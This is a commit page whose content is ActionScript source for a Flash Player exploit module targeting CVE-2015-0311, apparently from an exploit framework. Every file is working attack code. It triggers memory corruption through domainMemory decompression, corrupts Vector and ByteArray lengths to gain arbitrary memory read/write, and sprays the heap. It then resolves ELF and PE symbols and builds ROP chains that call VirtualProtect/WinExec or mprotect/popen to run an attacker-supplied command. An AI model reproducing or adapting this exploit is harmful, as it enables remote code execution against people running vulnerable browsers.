Update ActionScript

unstable
jvazquez-r7 2015-05-21 14:58:38 -05:00
parent 80d4f3cfb0
commit a8e9b0fb54
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
8 changed files with 806 additions and 243 deletions

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package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

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// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Exploit.as
// Original exploit by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.system.ApplicationDomain
import flash.utils.ByteArray
import avm2.intrinsics.memory.*
import flash.external.ExternalInterface
import mx.utils.Base64Decoder
public class Exploit extends Sprite
{
private var data:uint = 0xdeaddead
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var exploiter:Exploiter
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String
private var platform:String
public function Exploit()
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
// defrag
for (var i:uint = 0; i < 50; i++) new Vector.<uint>(0x3e0)
for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
ba.compress()
ApplicationDomain.currentDomain.domainMemory = ba
ba.position = 0x200
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
try {
ba.uncompress()
} catch (e:Error) { }
uv = new Vector.<uint>(0x3e0)
uv[0] = 0
var test:uint = li32(0)
if (test == 0x3e0) {
si32(0xffffffff, 0) // corrupted
} else {
Logger.log('[*] Exploit - corruption fail: ' + test.toString(16))
return // something failed
}
exploiter = new Exploiter(this, platform, payload, uv)
}
}
}

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package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
Logger.log("[*] ExploitByteArray - lets_ready()")
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
}
}

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package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 0x3e0
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

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package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:String
private var platform:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(51200)
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux")
do_rop_linux()
else if (platform == "win")
do_rop_windows()
else
return
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var winexec:uint = pe.procedure("WinExec", kernel32)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, winexec)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
eba.write(0, buffer + 0x10)
eba.write(0, payload_address + 8)
eba.write(0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// Put the popen parameters in memory
eba.write(payload_address + 8, 'r', true) // type
eba.write(payload_address + 0xc, payload, true) // command
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to popen()
eba.write(stack_address + 0x18068, popen)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// popen() argument
eba.write(0, payload_address + 0xc)
eba.write(0, payload_address + 8)
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

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package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
if (DEBUG == 0)
return
var str:String = "";
str += msg;
trace(str);
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
if (DEBUG == 0)
return
var str:String = "";
str += msg;
trace(str);
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

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// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite;
import flash.display.LoaderInfo;
import flash.system.ApplicationDomain;
import flash.utils.ByteArray;
import avm2.intrinsics.memory.casi32;
import flash.external.ExternalInterface;
import mx.utils.Base64Decoder;
public class Main extends Sprite
{
private var data:uint = 0xdeaddead
private var uv:Vector.<Object> = new Vector.<Object>
private var ba:ByteArray = new ByteArray()
private var spray:Vector.<Object> = new Vector.<Object>(51200)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = "";
/*public static function log(msg:String):void{
var str:String = "";
str += msg;
trace(str);
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}*/
public function Main()
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
ba.compress()
ApplicationDomain.currentDomain.domainMemory = ba
ba.position = 0x200
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
try {
ba.uncompress()
} catch (e:Error) { }
uv[0] = new Vector.<uint>(0x3E0)
casi32(0, 0x3e0, 0xffffffff)
for (i = 0; i < spray.length; i++) {
spray[i] = new Vector.<Object>(1014)
spray[i][0] = ba
spray[i][1] = this
}
/*
0:008> dd 5ca4000
05ca4000 ffffffff 05042000 05ca4000 00000000
05ca4010 00000000 00000000 00000000 00000000
05ca4020 00000000 00000000 00000000 00000000
05ca4030 00000000 00000000 00000000 00000000
05ca4040 00000000 00000000 00000000 00000000
05ca4050 00000000 00000000 00000000 00000000
05ca4060 00000000 00000000 00000000 00000000
05ca4070 00000000 00000000 00000000 00000000
*/
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
//log("uv[0][0]: " + uv[0][0].toString(16));
ba.endian = "littleEndian"
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
//log("buffer: " + buffer.toString(16));
var main:uint = uv[0][0x2000009] - 1
//log("main: " + main.toString(16));
var vtable:uint = vector_read(main)
//log("vtable: " + vtable.toString(16));
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
byte_write(uv[0][0])
var flash:uint = base(vtable)
//log("flash: " + flash.toString(16));
// Because of the sandbox, when you try to solve kernel32
// from the flash imports on IE, it will solve ieshims.dll
var ieshims:uint = module("kernel32.dll", flash)
//log("ieshims: " + ieshims.toString(16));
var kernel32:uint = module("kernel32.dll", ieshims)
//log("kernel32: " + kernel32.toString(16));
var ntdll:uint = module("ntdll.dll", kernel32)
//log("ntdll: " + ntdll.toString(16));
var urlmon:uint = module("urlmon.dll", flash)
//log("urlmon: " + urlmon.toString(16));
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
//log("virtualprotect: " + virtualprotect.toString(16));
var winexec:uint = procedure("WinExec", kernel32)
//log("winexec: " + winexec.toString(16));
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
// CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

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@ -0,0 +1,63 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
return addr + i
}
}
}